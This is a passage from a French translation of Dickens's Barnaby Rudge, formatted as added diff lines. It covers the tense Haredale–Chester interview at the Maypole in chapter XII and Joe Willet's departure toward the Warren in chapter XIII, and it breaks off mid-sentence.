+«Arrêtez! lui dit M. Haredale, quand ils eurent atteint le palier.
+Je peux m'annoncer moi même. Je n'ai plus besoin de vous.»
+
+Il mit la main sur la porte, entra, et la referma pesamment.
+M. Willet n'était pas du tout disposé à rester là tout seul pour
+écouter, d'autant plus que les murs étaient fort épais. Il
+descendit donc plus vite qu'il n'était monté, pour aller rejoindre
+en bas ses amis.
+
+
+
+
+CHAPITRE XII.
+
+
+Il y eut une courte pause dans la chambre de cérémonie du Maypole,
+pendant le temps que M. Haredale essaya la serrure pour s'assurer
+qu'elle était bien fermée, et traversant à grands pas la sombre
+pièce jusqu'à l'endroit où le paravent entourait une petite place
+de lumière et de chaleur, il se présenta, brusquement et en
+silence, devant l'hôte souriant.
+
+Si ces deux hommes n'avaient pas plus de sympathie dans leurs
+pensées intimes que dans leur extérieur, leur entrevue ne
+promettait pas d'être très calme ni très agréable. Sans qu'il y
+eût entre eux une grande différence d'âge, ils étaient sous tous
+les autres rapports aussi dissemblables et aussi opposés l'un à
+l'autre que deux hommes peuvent l'être. L'un avait la parole
+douce, une forme délicate une correcte élégance, l'autre,
+corpulent, carré par la base, négligemment habillé, rude et
+brusque dans ses façons d'un aspect sévère, avait, en son humeur
+actuelle, un regard aussi maussade que son langage. L'un gardait
+un calme et tranquille sourire, l'autre, un froncement de sourcils
+plein de méfiance. Le nouveau venu, véritablement, semblait
+s'appliquer à faire voir par chacun de ses accents et de ses
+gestes son antipathie décidée et son hostilité systématique contre
+l'homme qu'il venait trouver. Celui-ci semblait sentir que le
+contraste était en sa faveur, et puiser dans cet avantage un
+contentement paisible qui le mettait plus à son aise que jamais.
+
+«Haredale, dit ce monsieur sans la moindre apparence d'embarras ou
+de réserve je suis charmé de vous voir.
+
+-- Trêve de compliments. Ils sont déplacés entre nous, répliqua
+l'autre en agitant sa main. Dites-moi simplement ce que vous avez
+à me dire. Vous m'avez demandé une entrevue. Me voici. Pourquoi
+nous retrouvons-nous face à face?
+
+-- Toujours à ce que je vois, le même caractère franc et
+impétueux!
+
+-- Bon ou mauvais, je suis, monsieur, répliqua l'autre en appuyant
+son bras sur le chambranle de la cheminée, et tournant un regard
+hautain sur celui qui occupait la bergère, l'homme que j'ai
+accoutumé d'être. Je n'ai perdu ni mes vieilles sympathies ni mes
+vieilles antipathies; ma mémoire ne me fait pas défaut de
+l'épaisseur d'un cheveu. Vous m'avez demandé une entrevue... Je
+vous le répète, me voici.
+
+-- Notre entrevue, Haredale, dit M. Chester, en donnant un petit
+coup sur sa tabatière et accompagnant d'un sourire le geste
+d'impatience que l'autre avait fait, à son insu peut-être, vers
+son épée, sera une conférence pacifique, j'espère?
+
+-- Je suis venu ici, répliqua l'autre, selon votre désir, me
+tenant pour engagé à venir vous trouver, quand et où vous le
+voudrez. Je ne suis pas venu pour faire assaut d'agréables
+discours ni de protestations vaines. Vous êtes un homme du monde à
+la langue dorée, monsieur, et à ce jeu-là je ne suis pas de force
+avec vous. Le dernier homme ici-bas avec lequel j'entrerais en
+lice pour un combat de doux compliments et de grimaces masquées,
+est M. Chester, je vous l'assure. Impossible à moi de lui tenir
+tête avec de telles armes, et j'ai toute raison de croire que peu
+d'hommes en seraient capables.
+
+-- Vous me faites beaucoup d'honneur, Haredale, répliqua l'autre
+avec le plus grand calme, et je vous remercie. Je serai franc avec
+vous.
+
+-- Pardon, vous serez, dites-vous?
+
+-- Franc, ouvert, parfaitement candide.
+
+-- Ah! cria M. Haredale en faisant rentrer son haleine avec un
+sourire sarcastique; mais je ne veux pas vous interrompre.
+
+-- Je suis si résolu à suivre cette marche, répliqua l'autre en
+dégustant son vin d'un air très circonspect, que je me suis promis
+de n'avoir pas de querelle avec vous, et de ne pas me laisser
+entraîner à quelque expression chaleureuse ou à quelque mot
+hasardé.
+
+-- En cela, j'aurai encore vis-à-vis de vous, dit M. Haredale, une
+grande infériorité. Votre empire sur vous-même...
+
+-- Ne saurait être troublé quand il sert mes desseins, voulez-vous
+dire, répliqua l'autre, l'interrompant avec la même aménité. Soit
+je vous l'accorde, et j'ai un dessein à poursuivre maintenant vous
+en avez un aussi. Notre but est le même j'en suis sûr. Permettez-
+nous de l'atteindre comme des hommes raisonnables qui ont cessé
+d'être des petits garçons il y a déjà quelque temps. Voulez-vous
+boire?
+
+-- Je bois avec mes amis, répliqua l'autre.
+
+-- Au moins, dit M. Chester, vous voudrez bien vous asseoir?
+
+-- Je resterai debout, répliqua impatiemment M. Haredale, sur ce
+foyer dénudé misérable, et je ne le souillerai pas, tout déchu
+qu'il est, par de l'hypocrisie. Continuez!
+
+-- Vous avez tort, Haredale, dit l'autre en croisant ses jambes et
+souriant, tandis qu'il tenait son verre levé à la brillante lueur
+de l'âtre. Vous avez réellement tort. Le monde est un théâtre
+mouvant où nous devons nous accommoder aux circonstances, naviguer
+avec le courant aussi mollement que possible, nous contenter de
+prendre la mousse pour la substance, la surface pour le fond, la
+fausse monnaie pour la bonne. Je m'étonne qu'aucun philosophe
+n'ait jamais établi que notre globe est creux comme le reste. Il
+devrait l'être, si la nature est conséquente dans ses oeuvres.
+
+-- Vous pensez qu'il l'est, peut-être.
+
+-- J'affirmerais, répliqua-t-il en buvant son vin à petits traits,
+qu'il ne saurait y avoir le moindre doute là-dessus. Voilà qui est
+bien. Quant à nous, en jouant avec ce grelot, nous avons eu le
+guignon de nous heurter et de nous brouiller. Nous ne sommes pas
+ce que le monde appelle des amis, mais nous n'en sommes pas moins
+pour cela des amis aussi bons, aussi vrais, aussi aimants que les
+neuf dixièmes de ceux auxquels on décerne ce titre. Vous avez une
+nièce et moi j'ai un fils, un beau garçon, Haredale, mais un peu
+fou. Ils tombent amoureux l'un de l'autre, et forment ce que ce
+même monde appelle un attachement voulant dire quelque chose de
+capricieux et de faux comme le reste, et qu'on n'aurait qu'à
+abandonner librement à sa destinée pour qu'il crevât bientôt comme
+toute autre bulle. Mais, si nous les laissons faire, bonsoir, tout
+est dit. La question est donc celle-ci: Nous tiendrons-nous à
+distance l'un et l'autre, parce que la société nous appelle des
+ennemis, et souffrons-nous qu'ils se précipitent dans les bras
+l'un de l'autre lorsque, en nous rapprochant raisonnablement,
+comme nous le faisons maintenant, nous pouvons empêcher cela et
+les séparer?
+
+-- J'aime ma nièce, dit M. Haredale après un court silence. C'est
+un mot qui sonne étrangement peut-être à vos oreilles; mais je
+l'aime.
+
+-- Étrangement, mon bon garçon! cria M. Chester en remplissant de
+nouveau son verre avec nonchalance et en ôtant son cure-dent. Pas
+du tout. J'ai aussi du goût pour Ned[14], ou, comme vous dites, je
+l'aime; c'est le terme usité entre si proches parents. J'aime Ned
+avec passion; il est étonnamment bon garçon, et joli garçon, qui
+plus est, un peu fou et faible encore, voilà tout: mais le fait
+est, Haredale, car je serai franc comme je vous ai promis de
+l'être, qu'indépendamment de n'importe quelle répugnance nous
+pourrions avoir, vous et moi, à nous allier l'un à l'autre, et
+indépendamment de la différence de religion qui existe entre nous
+(et, diable! c'est important), je ne saurais consentir à un
+mariage de ce genre. Ned et moi nous ne saurions y consentir,
+c'est impossible.
+
+-- Maîtrisez votre langue, au nom du ciel, si cette conversation
+doit durer, répliqua M. Haredale d'un ton farouche. Je vous ai dit
+que j'aime ma nièce. Pensez-vous que, cela étant, je voudrais
+jeter son coeur à n'importe quel homme qui eût de votre sang dans
+les veines?
+
+-- Vous voyez, dit l'autre sans la moindre émotion, l'avantage
+qu'il y a d'être franc et ouvert. C'est juste ce que j'allais
+ajouter, sur mon honneur! Je suis étonnamment attaché à Ned, je
+raffole de lui, en vérité; aussi, quand il nous serait possible de
+nous effacer tout à fait, vous et moi, dans cette affaire,
+resterait toujours cette dernière objection, que je regarde comme
+insurmontable.
+
+-- Écoutez-moi bien, dit M. Haredale, marchant vers la table et
+mettant sa main dessus pesamment, si n'importe quel homme croit,
+ose croire que moi, dans mes paroles, dans mes actions, dans mes
+rêves les plus extravagants, j'aie jamais eu l'idée de favoriser
+la recherche d'Emma Haredale par quelqu'un qui vous touchât de
+près, n'importe par quel motif, je ne me soucie pas de le savoir,
+il ment; il ment, et il me fait une grave injure, rien que de le
+croire.
+
+-- Haredale, répliqua l'autre en se balançant d'un air convaincu,
+et le confirmant par des signes de tête dirigés vers le foyer,
+c'est extrêmement noble et viril, c'est réellement très généreux
+de votre part de me parler comme vous faites, franchement et à
+coeur ouvert. Ce sont exactement là mes sentiments, oui, ma
+parole; mais vous les exprimez avec beaucoup plus de force et de
+puissance que je ne saurais le faire. Vous connaissez ma nature
+indolente, et vous me pardonnerez, j'en suis sûr.
+
+-- Quelque décidé que je sois à défendre à ma nièce toute
+correspondance avec votre fils et à rompre leurs relations ici,
+cela dût-il causer la mort d'Emma, dit M. Haredale, qui s'était
+promené en long et en large, je voudrais y mettre de la bonté et
+de la tendresse autant que possible. Je suis chargé d'un dépôt que
+ma nature n'est pas propre à comprendre, et, par cette raison, la
+simple nouvelle qu'il y a entre eux de l'amour tombe sur moi ce
+soir presque pour la première fois.
+
+-- Je suis plus enchanté que je ne pourrais vous le dire, répliqua
+M. Chester du ton le plus doux, de trouver mes impressions
+personnelles ainsi confirmées. Vous voyez ce que notre entrevue a
+d'avantageux. Nous nous comprenons l'un l'autre, nous sommes tout
+à fait d'accord, nous avons une explication complète, et nous
+savons quelle marche suivre. Eh mais, pourquoi ne goûtez-vous pas
+au vin de votre locataire? Il est réellement très bon.
+
+-- Qui donc, je vous prie, dit M. Haredale, a aidé Emma ou votre
+fils? Quels sont leurs intermédiaires, leurs agents? savez-vous?
+
+-- Toutes les bonnes gens par ici, le voisinage en général, je
+pense, répliqua l'autre avec son plus affable sourire. Le messager
+que je vous ai envoyé aujourd'hui se distingue parmi tous les
+autres.
+
+-- L'idiot? Barnabé?
+
+-- Cela vous étonne? J'en suis bien aise, car j'étais un peu
+étonné de cela moi-même. Oui, j'ai arraché cela de sa mère, une
+sorte de femme très convenable; c'est d'elle, en vérité, que j'ai
+principalement appris combien la chose était devenue sérieuse.
+J'ai résolu de me rendre à cheval ici, aujourd'hui, et d'avoir
+avec vous une conférence sur ce terrain neutre. Vous avez plus
+d'embonpoint qu'autrefois, Haredale, mais vous avez bien bonne
+mine.
+
+-- Notre affaire, je le présume, tire à sa fin, dit M. Haredale
+avec un air d'impatience qu'il ne se donnait pas la peine de
+cacher. Comptez sur moi, monsieur Chester, ma nièce changera dès à
+présent. J'en appellerai, ajouta-t-il d'un ton plus bas, à son
+coeur de femme, à sa dignité, à son orgueil, à son devoir.
+
+-- C'est ce que je ferai auprès de Ned, dit M. Chester en
+réintégrant à leur place, sur la grille du foyer, avec le bout de
+sa botte, quelques débris errants du fagot. S'il y a quelque chose
+de réel dans le monde, ce sont ces sentiments si beaux, ces
+obligations naturelles qui doivent subsister entre un père et un
+fils. Je lui poserai la question sur le double terrain du
+sentiment moral et religieux. Je lui représenterai que nous ne
+pouvons pas absolument consentir à cela; que j'ai toujours visé de
+loin à un bon mariage pour lui, moyennant une provision décente
+pour moi dans l'automne de la vie; qu'il y a un grand nombre
+d'aboyeurs à payer, dont les réclamations sont parfaitement
+fondées en droit et en justice, et qui doivent être satisfaits sur
+la dot de sa femme; bref, que les sentiments les plus élevés, les
+plus honorables de notre nature, toutes les considérations de
+devoir et d'amour filial, et toutes les autres choses de ce genre,
+exigent impérieusement qu'il prenne la fuite avec une héritière.
+
+-- Et qu'il lui brise le coeur le plus vite possible? dit
+M. Haredale en mettant son gant.
+
+-- Ned fera en cela exactement comme il lui plaira, répliqua
+l'autre en buvant son vin à petits traits; c'est entièrement son
+affaire. Je ne voudrais pas pour tout au monde me mêler des
+affaires de mon fils, Haredale, au delà d'un certain point. La
+parenté entre père et fils, vous savez, est positivement une sorte
+de lien sacré... Ne me laisserez-vous pas vous persuader de
+prendre un verre de vin?... Allons! comme il vous plaira, comme il
+vous plaira, ajouta-t-il en se servant lui-même derechef.
+
+-- Chester, dit M. Haredale, après un court silence durant lequel
+il porta de temps en temps sur le visage souriant de son
+interlocuteur des regards prolongés, vous avez la tête et le coeur
+d'un mauvais génie, en toute occasion de tromper.
+
+-- À votre santé, dit l'autre, avec un signe de tête qui semblait
+le remercier; mais vous disiez...?
+
+-- Si maintenant, continua M. Haredale, nous trouvions qu'il fût
+difficile de séparer ces jeunes gens, de rompre leurs rapports;
+si, par exemple, vous trouviez la chose difficile de votre côté,
+quelle marche vous proposez-vous de suivre?
+
+-- Rien de plus simple, mon bon garçon, rien de plus aisé,
+répliqua l'autre en haussant les épaules et s'étendant plus
+confortablement devant le feu. Je déploierai alors ces facultés
+puissantes au sujet desquelles vous me donnez de si grandes et si
+flatteuses louanges, quoique, ma parole, je ne sois pas digne
+d'être comblé de vos compliments; et je recourrai à quelques
+petits subterfuges assez communs pour exciter la jalousie et le
+ressentiment. Vous voyez?
+
+-- Bref, justifiant les moyens par la fin, il nous faudra, comme
+dernière ressource pour les arracher l'un à l'autre, recourir à la
+perfidie et au mensonge? dit M. Haredale.
+
+-- Oh! non. Fi! Fi! répliqua l'autre en aspirant une prise de
+tabac avec délices et volupté. Pas de mensonge. Seulement un peu
+de manège, un peu de diplomatie, un peu d'intrigue, c'est le mot.
+
+-- Je regrette, dit M. Haredale en faisant çà et là quelques pas,
+puis s'arrêtant, puis faisant quelques pas encore comme quelqu'un
+qui était mal à son aise, de n'avoir pas pu prévoir et empêcher
+cela. Mais, puisque c'est allé si loin qu'il nous est nécessaire
+d'agir, reculer ou regretter ne sert de rien. Allons! je
+seconderai vos efforts de tout mon pouvoir. C'est le seul sujet,
+dans tout le vaste horizon de la pensée humaine, sur lequel nous
+soyons tous les deux d'accord. Nous agirons de concert, mais à
+part. Il ne sera pas besoin, j'espère, d'en conférer encore
+ensemble.
+
+-- Est-ce que vous vous en allez? dit M. Chester en se levant avec
+une gracieuse nonchalance. Laissez-moi vous éclairer jusqu'au bas
+de l'escalier.
+
+-- Restez assis, je vous prie, répliqua l'autre sèchement. Je
+connais le chemin.»
+
+En disant cela, il fit un mouvement de main très léger, remit son
+chapeau sur sa tête en même temps qu'il tournait les talons, et
+s'en alla d'un pas retentissant, comme il était venu, ferma la
+porte derrière lui, et descendit l'escalier dont il réveilla
+l'écho.
+
+«Peuh! un très grossier animal, en vérité! dit M. Chester en se
+replaçant dans sa bergère. Une brute des plus farouches; un vrai
+blaireau à face humaine!»
+
+John Willet et ses amis, qui avaient été très attentifs pour
+entendre le cliquetis des épées ou les détonations des pistolets
+dans la grande chambre, et qui avaient réglé d'avance l'ordre dans
+lequel ils s'y précipiteraient au premier appel, procession où le
+vieux John avait eu le soin de s'arranger de façon à se réserver
+l'arrière-garde, furent fort étonnés de voir M. Haredale descendre
+sans une égratignure, demander son cheval, et s'éloigner au pas,
+d'un air pensif. Après y avoir un peu réfléchi, on décida qu'il
+avait laissé le monsieur du premier étage pour mort, et que, s'il
+montrait tant de calme, c'était un stratagème pour qu'on ne
+s'avisât ni de le soupçonner ni de le poursuivre.
+
+Comme cette conclusion impliquait pour eux la nécessité de monter
+sur-le-champ à la grande chambre pour s'en assurer, ils étaient
+sur le point de le faire dans l'ordre convenu, lorsqu'un coup de
+sonnette assez vif, qui semblait dénoter chez l'hôte assez de
+vigueur encore, renversa toutes leurs conjectures et les enveloppa
+dans la plus grande incertitude. Enfin M. Willet consentit à
+monter lui-même, escorté de Hugh et de Barnabé, les plus solides
+et intrépides gaillards qui fussent sur les lieux; ils pourraient
+se montrer avec lui, sous prétexte d'être venus pour emporter les
+verres.
+
+Fort de cette protection, le brave John, à la large figure, entra
+dans la chambre hardiment avec une avance d'un demi-pas, et reçut
+sans trembler la demande d'un tire-botte. Mais lorsque le tire-
+botte eut été apporté, et que l'aubergiste prêta à son hôte sa
+robuste épaule, on observa que, pendant que celui-ci ôtait ses
+bottes, M. Willet les regarda extrêmement, et que ses gros yeux,
+bien plus ouverts que de coutume, parurent exprimer quelque
+surprise et quelque désappointement de ne pas les trouver pleines
+de sang. Il se ménagea aussi l'occasion d'examiner le gentleman du
+plus près qu'il put, s'attendant à découvrir sur sa personne un
+certain nombre de trous faits par l'épée de son adversaire. N'en
+découvrant aucun toutefois, et remarquant par la suite du temps
+que son hôte était aussi froid, aussi régulier dans sa tenue et
+dans son humeur qu'il l'avait été toute la journée, le vieux John
+à la fin poussa un profond soupir, et commença à penser qu'il
+n'était pas question de duel pour ce soir.
+
+«Et maintenant, Willet, dit M. Chester, si la chambre est bien
+échauffée, j'essayerai les mérites de ce fameux lit.
+
+-- La chambre, monsieur, répliqua John en prenant une chandelle,
+et invitant d'un coup de coude Barnabé et Hugh à les accompagner,
+en cas que le monsieur vînt à tomber soudainement évanoui ou mort
+de quelque blessure interne, la chambre est aussi chaude qu'une
+croûte au pot. Barnabé, prenez cette autre chandelle, et allez
+devant. Hugh, suivez-nous, monsieur, avec la bergère.»
+
+C'est dans cet ordre, et encore, pour plus de sûreté, tenant sa
+chandelle fort près de l'hôte; tantôt lui en faisant sentir la
+chaleur autour des jambes, tantôt risquant de mettre le feu à sa
+perruque, et lui demandant sans cesse pardon avec une grande
+gaucherie et beaucoup d'embarras, que John conduisit ce personnage
+à la meilleure chambre à coucher. Presque aussi spacieuse que la
+pièce d'où ils étaient venus, elle contenait, près du feu, pour
+avoir plus chaud, un grand et antique lit d'un aspect tumulaire,
+tendu de brocart fané et orné, au sommet de chaque montant
+sculpté, d'une touffe de plumes qui jadis avaient été blanches,
+mais que l'âge et la poussière avaient rendues semblables à des
+panaches de corbillard et de catafalque.
+
+«Bonsoir, mes amis, dit M. Chester avec un doux sourire, en
+s'asseyant, après avoir considéré la chambre d'un bout à l'autre,
+dans la bergère, que ses serviteurs roulèrent devant le feu.
+Bonsoir, Barnabé, mon bon garçon; vous dites quelques prières
+avant de vous coucher, j'espère?»
+
+Barnabé fit un signe affirmatif.
+
+«Il a comme ça des bêtises qu'il appelle ses prières, monsieur,
+dit John officieusement. J'ai bien peur que là dedans il n'y ait
+pas grand chose de bon.
+
+-- Et Hugh? dit M. Chester en se tournant vers celui-ci.
+
+-- Moi, non, répondit-il. Je connais les siennes (et il montra
+Barnabé), elles ne sont pas mal. Il les chante quelquefois sur la
+paille. J'écoute.
+
+-- Monsieur, c'est tout à fait un animal, chuchota John à
+l'oreille de son hôte avec dignité. Vous l'excuserez,
+certainement. S'il a une espèce d'âme, ce doit être si peu que
+rien, et ce qu'il fait ou ne fait pas sur ce point n'importe
+guère. Bonsoir, monsieur.
+
+M. Chester répliqua: «Dieu vous bénisse!» avec une ferveur des
+plus touchantes; et John, faisant signe à ses gardes du corps
+d'aller devant, sortit de la chambre après une révérence, et
+laissa l'hôte libre de reposer dans l'antique lit du Maypole.
+
+
+
+
+CHAPITRE XIII.
+
+
+Si Joseph Willet, le jeune homme dénoncé aux Apprentis et proscrit
+par eux, s'était trouvé à la maison quand l'hôte courtois de son
+père se présenta devant la porte du Maypole, c'est-à-dire si ce
+n'avait pas été, par une malice du sort, une des six fois de
+l'année entière dans lesquelles il était libre de s'absenter tout
+le jour durant sans question ni reproche, il serait parvenu, de
+manière ou d'autre, à plonger au fin fond du mystère de
+M. Chester, et à pénétrer son dessein avec la même certitude que
+s'il eût été son confident et conseiller. Dans cet heureux cas,
+les amants auraient été vite avertis des maux qui les menaçaient,
+et aidés, par-dessus le marché, de diverses inspirations aussi
+sages qu'opportunes; car Joe, en pensées comme en actions, tenait
+toutes ses sympathies et ses meilleurs souhaits à la disposition
+de nos jeunes gens, et était fermement dévoué à leur cause. Cette
+disposition provenait-elle de ses anciennes préventions en faveur
+de la jeune demoiselle, dont l'histoire l'avait environnée dans
+son esprit, presque au sortir du berceau, de circonstances d'un
+intérêt extraordinaire; ou de son attachement au jeune monsieur
+dans la confidence duquel il s'était presque imperceptiblement
+glissé, par son esprit subtil et ses vives allures, ainsi qu'en
+lui rendant plusieurs services d'importance comme éclaireur et
+comme messager? Que ce fût cela ou autre chose, par exemple, les
+persécutions fatigantes et les manies ennuyeuses de son vénérable
+père, ou bien encore quelque petite affaire d'amour secrète, qui
+le disposait favorablement à servir d'autres amoureux comme lui:
+il est inutile de chercher à le savoir, d'autant plus que Joe
+n'était pas là, et qu'il n'avait pas par conséquent, dans cette
+conjoncture, d'occasion particulière de fixer nos doutes par sa
+conduite.
+
+C'était, par le fait, le vingt-cinq mars, jour qui comme beaucoup
+de gens le savent à leurs dépens, est, de temps immémorial, une de
+ces désagréables époques qu'on appelle le terme. Ce jour là donc,
+John Willet se faisait chaque année un point d'honneur de régler
+son compte en espèces sonnantes avec un certain marchand de vin et
+distillateur de la Cité de Londres, et de remettre dans les mains
+de ce négociant un sac de toile contenant l'exact montant de la
+somme, pas un penny de plus, pas un penny de moins, c'était pour
+Joe l'objet d'un voyage aussi sûr et aussi régulier que le retour
+annuel du vingt-cinq mars.
+
+Le voyage s'accomplissait sur une vieille jument grise, sur
+laquelle John s'était fait dans l'esprit un système d'idées
+préconçues, par exemple, qu'elle était capable de gagner un
+couvert ou une tasse d'argent à la course si elle voulait
+l'essayer. Elle ne l'avait jamais essayé, et il ne fallait plus
+compter qu'elle l'essayât jamais maintenant, car elle était âgée
+de quelque quatorze ou quinze ans, poussive, ensellée et
+passablement râpée de la crinière et de la queue. Nonobstant ces
+légères imperfections, John était fier de son animal, et lorsque
+Hugh, en tournant, l'eut amenée jusqu'à la porte il se retira pour
+l'admirer à son aise dans le comptoir, et là, caché par un bosquet
+de citrons, il se mit à rire avec orgueil.
+
+«Voilà ce qui s'appelle une jument, Hugh! dit John, quand il eut
+recouvré assez d'empire sur lui même pour reparaître à la porte.
+Voilà une gracieuse créature! regardez-moi cette ardeur! regardez-
+moi ces os!»
+
+Pour des os, il y en avait suffisamment, sans aucun doute, c'est
+ce que semblait penser Hugh, assis en travers sur la selle,
+paresseusement plié en deux, son menton touchant presque ses
+genoux, et, ne s'inquiétant ni des étriers qui pendillaient, ni de
+la bride flottante, il sauta de haut en bas sur la petite pelouse
+devant la porte.
+
+«Songez à avoir bien soin d'elle, monsieur, dit John, laissant cet
+être inférieur, pour s'adresser à la sensibilité de son fils et
+héritier, qui parut alors équipé complètement et tout prêt à
+monter en selle; n'allez pas trop vite!
+
+-- J'en serais bien embarrassé, j'imagine, père, répondit Joe en
+jetant sur l'animal un regard de désespoir.
+
+-- Pas de vos impertinences, monsieur, s'il vous plaît, riposta le
+vieux John. Quelle monture vous faut-il donc, monsieur? Un âne
+sauvage ou un zèbre en serait une trop pacifique pour vous, n'est-
+ce pas, monsieur? Vous voudriez monter un lion rugissant,
+monsieur; n'est-ce pas, monsieur? Taisez-vous, monsieur.»
+
+Lorsque M. Willet, dans ses querelles avec son fils, avait épuisé
+toutes les questions qui s'offraient à son esprit, et que Joe
+n'avait répondu rien du tout, généralement il concluait en lui
+ordonnant de se taire.
+
+«Et quelle idée a donc ce petit garçon, ajouta M. Willet, après
+l'avoir considéré quelque temps d'un air ébahi et comme stupéfait,
+de, retrousser comme ça son chapeau en casseur d'assiettes? Est-ce
+que vous allez tuer le marchand de vin, monsieur?
+
+-- Non, dit Joe avec un peu d'aigreur, je ne vais pas le tuer.
+Vous voilà rassuré maintenant, père?
+
+-- Et avec cela, un air militaire! dit M. Willet en l'examinant de
+la tête aux pieds; ne dirait-on pas d'un mangeur de braise, d'un
+avaleur d'eau bouillante? Et que signifient les crocus et les
+perce-neige que vous arborez à votre boutonnière, monsieur?
+
+-- Ce n'est qu'un petit bouquet, dit Joe en rougissant. Il n'y a
+pas de mal à ça, j'espère?
+
+-- Voilà un garçon bien entendu aux affaires, en vérité, dit
+M. Willet dédaigneusement, d'aller supposer que les marchands de
+vin se soucient de bouquets!
+
+-- Je ne suppose rien de pareil, répondit Joe. Qu'ils gardent
+leurs nez rouges pour flairer leurs bouteilles et leurs cruchons.
+Ces fleurs-ci vont chez M. Varden.
+
+-- Vous supposez donc qu'il s'inquiète beaucoup de vos crocus?
+demanda John.
+
+-- Je n'en sais rien, et, à dire vrai, je ne m'en soucie guère,
+dit Joe. Voyons, père, donnez-moi l'argent, et, au nom de la
+sainte patience, laissez-moi partir.
+
+-- Le voici, monsieur, répliqua John, ayez en soin. Songez à ne
+pas revenir trop tôt, pour mieux laisser reposer la jument. Vous
+m'entendez?
+
+-- Oui, je vous entends, répliqua Joe. Dieu sait qu'elle en aura
+besoin.
+
+-- Et ne dépensez pas trop au _Lion noir_, dit John. Songez à cela
+aussi.
+
+-- Alors pourquoi ne me permettez-vous pas d'avoir à moi quelque
+argent? riposta Joe d'un air chagrin, pourquoi pas, père? Pourquoi
+m'envoyez-vous à Londres en ne m'accordant que le droit de
+demander au _Lion noir_ un dîner que vous payerez au premier
+voyage, comme si l'on ne pouvait pas me laisser disposer de
+quelques schellings? Pourquoi me traitez-vous comme ça? ce n'est
+pas bien à vous. Comment pouvez-vous croire que je vais rester
+longtemps à ce régime?
+
+-- Lui permettre d'avoir de l'argent! cria John dans une rêverie
+somnolente. Qu'appelle-t-il de l'argent? des guinées? Est-ce qu'il
+n'en a pas, de l'argent? N'a-t-il pas, en sus des péages, un
+schelling et six pence?
+
+-- Un shilling et six pence! répéta son fils avec mépris.
+
+-- Oui, monsieur, répliqua John, un schelling et six pence. Quand
+j'étais à votre âge, jamais je n'avais vu tant d'argent en un
+monceau. Le schelling est pour parer aux accidents, par exemple si
+la jument perdait un de ses fers, ou quelque chose de ce genre. Il
+vous reste six pence pour vous amuser à Londres, je vous
+recommande surtout de vous amuser à monter au faîte du Monument[15],
+et à vous reposer là. Il n'y a pas là de tentation, monsieur, pas
+de ribotte, pas de jeunes femmes, pas de mauvaises compagnies
+d'aucune sorte, rien que l'imagination. Quand j'étais à votre âge,
+monsieur, voilà comment je m'amusais.»
+
+À ceci, Joe ne fit pas d'autre réponse qu'un signe de la main à
+Hugh pour tenir le cheval, puis il sauta en selle et s'éloigna; et
+je vous réponds qu'il avait l'air d'un solide et mâle cavalier,
+digne d'une meilleure monture que celle que lui faisait enfourcher
+son destin. John resta à le contempler ou plutôt à contempler la
+jument grise (car il n'avait pas assez d'yeux pour elle), jusqu'à
+ce que l'homme et la bête fussent disparus depuis vingt minutes.
+Alors il commença à penser qu'ils étaient partis, et rentrant
+lentement dans la maison, il s'abandonna à un doux assoupissement.
+
+L'infortunée jument grise, l'agonie de la vie de Joe, se trémoussa
+selon son bon plaisir jusqu'à ce que le Maypole ne fût plus
+visible, puis, corrigeant son pas tout à coup de son propre gré,
+elle contracta ses jambes en une allure, qu'on aurait regardée
+dans un spectacle de marionnettes comme une imitation assez
+maladroite d'un petit galop. La connaissance qu'elle avait des
+habitudes de son cavalier ne lui suggéra pas seulement cette
+amélioration dans les siennes, elle lui donna aussi l'idée de
+prendre un chemin détourné. Il conduisait non pas à Londres mais
+par des sentiers parallèles à la route que Joe avait suivie, et,
+passant à quelques centaines de mètres du Maypole, il aboutissait
+à l'enclos d'un vaste et ancien manoir bâti en brique rouge, la
+Garenne, dont il a été question au premier chapitre de notre
+histoire. Faisant une halte soudaine dans un petit taillis voisin,
+la jument se prêta de la meilleure grâce du monde à laisser
+descendre son cavalier, qui l'attacha au tronc d'un arbre.
+
+«Reste là, vieille fille, dit Joe, que j'aille voir s'il y a pour
+moi aujourd'hui quelque petite commission.» En même temps, il la
+laissa brouter le gazon ras et les mauvaises herbes qui se
+trouvaient croître à la portée de son licou, et, passant par une
+porte à claire-voie, il entra de son pied sur les terres du
+domaine.
+
+Le sentier, après quelques minutes de marche, l'amena près de la
+maison. Il y lança plus d'un coup d'oeil en tapinois, et surtout
+vers une certaine fenêtre. C'était un bâtiment lugubre,
+silencieux, avec des cours sonores, des tourelles désolées, et des
+files entières de chambres fermées qui tombaient en poussière et
+en ruine.
+
+Le jardin, formant terrasse, obscurci par l'ombre des arbres qui
+le dominaient, avait un air de mélancolie tout à fait accablant.
+De grandes portes de fer, hors d'usage depuis bien des années,
+rougies par la rouille, s'affaissant sur leurs gonds et
+recouvertes de longues herbes luxuriantes, semblaient vouloir
+s'enfoncer dans le sol et cacher leur décadence dans une forêt de
+mauvaises herbes, propices à ce dessein. Sur les murailles
+sculptées, les animaux fantastiques qui les décoraient, verdis par
+l'âge et l'humidité, et revêtus çà et là de mousse, avaient un
+aspect hideux et lamentable. La partie de la maison qui était
+habitée et tenue en bon état avait elle-même une physionomie
+sombre; le spectateur, frappé d'un sentiment de tristesse,
+éprouvait une impression pénible en face de cet abandon et de
+cette déchéance affligeante. Il eût été difficile d'imaginer un
+beau feu flamboyant dans ces chambres mornes et ténébreuses, et de
+se figurer quelque joie du coeur ou quelque fête dans l'enceinte
+de ces murs rébarbatifs. On voyait bien qu'il pouvait y avoir eu
+là dans les temps jadis quelque chose de pareil; mais c'était fini
+à jamais. Ce n'était plus que le revenant d'une maison défunte qui
+venait hanter son ancienne place sous son ancienne forme, mais
+voilà tout.
+
+La physionomie sombre et déchue de la Garenne devait, sans aucun
+doute, s'attribuer en grande partie à la mort de son précédent
+possesseur et au caractère de son possesseur actuel; mais,
+lorsqu'on se rappelait la légende de ce manoir, il avait
+véritablement un air approprié à un pareil forfait: on voyait
+qu'il était prédestiné des siècles d'avance à en être le théâtre.
+Considérée au point de vue de cette légende, la pièce d'eau où
+l'on avait retrouvé le corps de l'intendant semblait avoir une
+teinte noire et sinistre que nulle autre mare ne pouvait
+revendiquer comme elle; la cloche qui du haut du toit avait
+annoncé le meurtre, au vent de minuit, devenait un vrai fantôme
+dont la voix faisait dresser les cheveux de l'auditeur; et chaque
+branche dépouillée de feuilles, en s'inclinant vers une autre
+branche, semblait échanger avec elle à la dérobée des
+chuchotements au sujet du crime.
+
+Joe se promena de long en large dans le sentier; quelquefois il
+s'arrêtait et faisait semblant de contempler l'édifice ou le
+paysage; quelquefois, s'appuyant contre un arbre, il prenait un
